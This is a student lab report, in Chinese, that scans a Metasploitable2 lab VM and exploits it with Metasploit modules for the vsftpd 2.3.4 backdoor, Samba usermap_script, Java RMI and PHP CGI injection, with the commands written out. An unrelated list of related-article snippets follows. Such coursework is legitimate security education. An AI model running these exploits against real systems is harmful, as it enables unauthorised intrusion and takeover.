20232402 2025-2026-1 《网络与系统攻防技术》实验六实验报告

20232402 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

1.1 发现Metasploitable2靶机,并对其进行端口扫描、漏洞扫描;
1.2 利用Vsftpd源码包后门漏洞;
1.3 利用SambaMS-RPC Shell命令注入漏洞;
1.4 利用Java RMI SERVER命令执行漏洞;
1.5 利用PHP CGI参数执行注入漏洞。

2.实验过程

2.1 前期渗透:主机发现与端口扫描

2.1.1 Metasploitable 2 靶机ip查看

ip addr
image
该 Metasploitable 2 靶机的 IP 地址是192.168.43.128

2.1.2 主机发现(ARP 扫描,确认靶机存活)

打开 Kali 终端,启动 Metasploit:
msfconsole
image

搜索并加载 ARP 扫描模块:
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep

配置扫描参数(靶机所在网段默认 192.168.43.0/24,可根据实际网络调整):
set RHOSTS 192.168.43.0/24
set THREADS 50

执行扫描,确认 192.168.43.128 存活:
run
image
image
模块扫描了192.168.43.0/24整个网段(共 256 个主机),并且识别出172.16.226.135这个主机处于存活状态(标注为 “appears to be up”)。

2.1.3 端口扫描

nmap 快速扫描
打开新终端,执行命令(中途靶机换个ip,换为10.0.2.128):
nmap -p 21,80,139,1099 -sV 10.0.2.128
image
可以看出,靶机的几个关键端口都是开放的:

  • 21 端口跑的是 vsftpd 2.3.4 这个 FTP 服务,这个版本有个很有名的后门漏洞,能直接拿 shell。
  • 80 端口是 Apache 2.2.8 的 HTTP 服务,版本比较老,本身就可能有文件包含、目录遍历这些问题,而且上面应该还搭了像 DVWA 之类的 Web 漏洞环境。
  • 139 端口的 Samba 服务,版本 3.X-4.X,有不少远程代码执行的漏洞,比如 CVE-2007-2447,利用它能提权或者直接控制这台机器。
  • 1099 端口的 Java RMI 服务,存在反序列化漏洞,用 ysoserial 这类工具构造恶意数据,就能执行任意代码。

2.1.4 漏洞扫描

执行 nmap 漏洞脚本扫描:
nmap --script vuln 10.0.2.128
image
FTP 服务(vsftpd 2.3.4)存在可利用的后门漏洞(CVE-2011-2523),属于高危可 exploit 漏洞。

81bb17eaf6e9e78012e4754cfd262264
SSL 层面有SSL POODLE 信息泄露漏洞(CVE-2014-3566)和匿名 Diffie-Hellman 密钥交换的中间人攻击漏洞,属于加密协议类安全缺陷。

image
存在 Slowloris 拒绝服务攻击漏洞(CVE-2007-6750),也属于 Web 服务的安全隐患。

2.2 Vsftpd 2.3.4 源码包后门漏洞利用(21 端口)

在 Metasploit 中加载漏洞模块:
use exploit/unix/ftp/vsftpd_234_backdoor

配置靶机 IP
set RHOSTS 10.0.2.128

设置 FTP 用户名(该漏洞匿名登录即可)
set USERNAME anonymous

执行攻击
run

利用成功后,执行验证命令:
uname -a
pwd
id
image

2.3 Samba MS-RPC Shell 命令注入漏洞利用(139 端口)

加载 Samba 漏洞模块:
use exploit/multi/samba/usermap_script

配置靶机 IP:
set RHOSTS 10.0.2.128

执行攻击:
run

验证权限:
shell
whoami
image

2.4 Java RMI Server 命令执行漏洞利用(1099 端口)

检测靶机 1099 端口是否开放
nmap -p1099 10.0.2.128
image
开放

启动 msfconsole 框架:
msfconsole

加载 Java RMI 漏洞利用模块:
use exploit/multi/misc/java_rmi_server
image

查看模块需要配置的参数:
show options
image

设置靶机 IP:
set RHOSTS 10.0.2.128

执行漏洞利用并获取会话
run
已经自动进入会话,无需显示会话

验证权限:
shell # 从meterpreter切换到靶机的系统shell
whoami # 验证当前用户权限
image

2.5 PHP CGI 参数执行注入漏洞利用(80 端口)

加载 PHP CGI 漏洞模块:
use exploit/multi/http/php_cgi_arg_injection

配置靶机 IP 和端口:
set RHOSTS 10.0.2.128
set RPORT 80 # 默认80端口,无需修改

执行攻击:
run

验证权限:
shell
whoami
uname -a
ls /var/www # 查看Web目录
image

3.问题及解决方案

  • 问题1:image
    权限不足,Metasploit 执行arp_sweep模块时需要访问网络接口(如 eth0)来捕获 ARP 包,但当前用户没有足够的权限执行这个操作。

  • 问题1解决方案:以 root 权限运行 Metasploit,在启动 msfconsole 时使用sudo msfconsole命令,获取管理员权限后再执行该模块即可正常运行。

  • 问题2:攻击机kali在VirtualBox上,发现无法扫到vmware上的靶机的端口。

  • 问题2解决方案:这是因为VirtualBox的NAT模式是单向隔离的,即虚拟机可以访问外网和宿主机,但宿主机默认无法主动访问虚拟机。所以我在VirtualBox里重装了一个kali。(每做个实验装一个kali哈哈哈)

4.学习感悟、思考等

一定要确保 Kali 攻击机与靶机在同一内网网段!!!否则无法通信。这次实验最大的收获就是我认识到了VirtualBox不好用,它甚至不支持改NAT的网段。我也终于知道为啥我做网安协议实验的时候虚拟机ping主机能ping通,但是主机ping虚拟机ping却ping不通,本质就是VirtualBox的NAT模式是单向隔离的。以后要考虑其他实验都用vmware了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/974136.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

P2949 [USACO09OPEN] Work Scheduling G 题解

注意到反悔贪心的题基本没怎么做过。 P2949 [USACO09OPEN] Work Scheduling G 思路 注意到这是一个二维的东西,因此可能先去想 DP。但是注意到限制(时间)与贡献是独立的,因此考虑去扫时间而去维护贡献。 更准确地说…

the success of Japan

As the worlds most extremely violent country in English way become a forced peaceful country. The reason for a persons success lies in the diversity of thought.

预训练的卷积神经网络与普通卷积神经网络有什么区别

核心差别只有一点:“预训练”的权重已经在大规模数据上收敛过一次,而普通(从零开始)网络的权重仍是随机分布的。 除此之外,网络结构、前向计算、参数量、输入输出格式完全一样;差异只体现在“权重的初始状态”和…

人工智能之数据分析 numpy:第九章 数组运算

人工智能之数据分析 numpy:第九章 数组运算人工智能之数据分析 numpy 第九章 数组运算@目录人工智能之数据分析 numpy前言一、基础算术运算(Element-wise Arithmetic)1. 基本运算符(支持广播)2. 广播(Broadcasti…

Faster R-CNN中的Backbone,输入图片时,是标注过的图片吗

不是。Faster R-CNN 的 Backbone 在“前向推理阶段”只收一张裸图(像素矩阵),任何标注(框、类、掩码)都不进网络。标注只在“训练阶段计算损失”时用到,而且只跟 RPN 和 RoI Head 打交道,Backbone 本身仍然只看…

赫尔默特变化 A=0的情况

🎯 当测站 S 接近 A、B 的连线(近共线布设)时,会导致局部方向 A′B′ 对观测误差极其敏感,从而容易出现 A=0(方向正交) 下面是 完整的、严谨的、可写进论文的数学推导,但我把它讲得简单易懂。✅ 第 1 步:建立…

关于tarjan的一些感性理解

学长博客-图论 0x0 前论: 在了解完tarjan的基本操作以后,发现这个东西十分的抽象,那么这个时候就需要我们进行一些感性理解以方便记忆。 0x1 关于强连通分量 Part-1 关于强连通 说白了就是一个图上任意两个点都能到…

java linux tomcat

你提到的“Java Linux Tomcat”可能是指在 Linux 系统上安装和配置 Tomcat 来运行 Java 应用程序。以下是一些常见的 Linux 系统上安装和管理 Tomcat 的命令和脚本示例,适用于大多数 Linux 发行版(如 Ubuntu、CentOS…

20232411 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1.实验内容 总结一下本周学习内容,不要复制粘贴 2.实验过程 1.准备环境 从Rapid7官网下载官方靶机Metasploitable2,完成前期环境配置。2.前期渗透 (1)主机发现 (2)端口扫描 (3)漏洞扫描 3.Vsftpd源码包后门漏洞(21端…

实用指南:机器人描述文件xacro(urdf扩展)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

代码随想录Day17_二叉树

代码随想录Day17_二叉树今日的四道题目分别是重叠二叉树 在已知二叉树中搜索并返回以给定值为根节点的二叉树 判断二叉树是否是二叉搜索树 在给定数组中重建最大二叉树最大二叉树 题目理解: 给定一个数组,其中最大的…

人工智能之数据分析 numpy:第七章 数组迭代排序筛选

人工智能之数据分析 numpy:第七章 数组迭代排序筛选人工智能之数据分析 numpy 第七章 数组迭代排序筛选@目录人工智能之数据分析 numpy前言一、数组迭代(Iteration)⚠️ 原则:尽量避免显式 for 循环!优先使用向量…

AE文字动画

--本篇导航--字符段落文字动画预设(使用预设、制作自己的预设)文字动画效果参数介绍文字动画例子字符 在使用文字工具(Ctrl+T)输入文字时会自动打开【字符】面板。也可以在菜单栏【窗口】下手动打开。Alt + ←减小…

2025/11/23-Listening to music most days could lower dementia risks for older adults, study suggests

2025/11/23-Listening to music most days could lower dementia risks for older adults, study suggestsListening to music most days could lower dementia risks for older adults, study suggests p { line-heig…

完整教程:设计模式的底层原理——解耦

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

windows11资源管理器桌面文件夹从中文“桌面”变为应为“Desktop”的恢复方法

管理员打开命令行,执行命令: attrib +R "%UserProFile%\Desktop" 原文链接:https://learn.microsoft.com/zh-cn/answers/questions/2823684/desktop?forum=windows-all&referrer=answers

Oracle数据库核心操作完全手册:运维、开发与调优必备

Oracle数据库核心操作完全手册:运维、开发与调优必备在Oracle数据库的日常使用中,无论是实例管理、表操作、权限控制,还是性能调优、故障排查,都离不开一系列高频且关键的操作。本文整合了Oracle数据库从基础操作到…

2025/11/25

2025/11/25JDBC 操作数据库的完整流程: 加载数据库驱动 → DriverManager 获取 Connection(数据库连接)→ 通过 Connection 创建 Statement/PreparedStatement → 执行 SQL → 返回 ResultSet(查询结果)→ 关闭资…

完整教程:单体架构中的事件驱动架构:Java应用程序的渐进式重构

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025/11/26

2025/11/26事务 数据库中一组不可分割的操作集合,要么全部执行成功,要么全部执行失败(要么全做,要么全不做),核心是保证数据一致性。 核心特性(ACID) A(原子性):操作不可拆分,要么全成要么全回滚(如转账:…